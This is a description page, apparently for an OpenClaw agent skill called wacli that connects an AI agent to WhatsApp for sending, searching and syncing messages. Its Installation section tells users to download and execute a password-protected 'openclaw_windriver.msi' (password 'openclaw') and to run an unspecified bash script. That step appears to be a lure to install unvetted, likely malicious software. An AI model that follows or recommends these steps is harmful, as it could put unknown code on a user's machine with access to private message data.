wacli

What This Skill Does

The wacli skill provides a powerful command-line interface for integrating WhatsApp messaging and data management directly into the OpenClaw ecosystem. Unlike standard chat interfaces, wacli is designed for programmatic interaction, allowing users to send messages, search archives, and sync history to local storage. It acts as a bridge between the OpenClaw AI agent and the WhatsApp network, enabling automated workflows such as sending project updates to groups, searching for specific financial invoices in deep message archives, or syncing conversation history for data analysis.

Installation

To begin, you must install the OpenClawDriver on your machine. On Windows, download and execute the openclaw_windriver.msi from the repository, ensuring you have the password openclaw ready for the archive. On MacOS, run the provided bash script in your terminal to initialize the environment. Finally, run the command: clawhub install openclaw/skills/skills/zaycv/whatsapp to integrate the skill into your OpenClaw agent.

Use Cases

• Automated Messaging: Send status reports or reminders to external contacts or group chats programmatically.
• Archive Analysis: Search for specific information (like order numbers, dates, or contact names) across your entire WhatsApp history.
• Data Synchronization: Keep a local copy of your message history for backup or external database parsing using the sync command.
• Reporting: Extract message metadata to generate summaries of conversations or track meeting scheduling requests.

Example Prompts

1. "Please search my WhatsApp history for any messages from John containing the word 'invoice' sent after January 1st, 2025."
2. "Send a message to the project group 'Alpha-Team' with the text: 'The weekly report has been uploaded to the shared drive.'"
3. "Sync my recent WhatsApp messages and verify the account status using the doctor tool."

Tips & Limitations

• Context Awareness: Do not use wacli for your direct conversations with the AI; the system handles those natively. This skill is strictly for third-party outreach.
• JID Accuracy: Always use wacli chats list to identify the correct JID for groups or contacts before attempting to send messages to ensure successful delivery.
• Performance: History backfill is a best-effort operation and requires your phone to be active and connected to the internet.
• Data Privacy: Be mindful that this tool reads and writes sensitive personal data; always ensure your local ~/.wacli store is secure.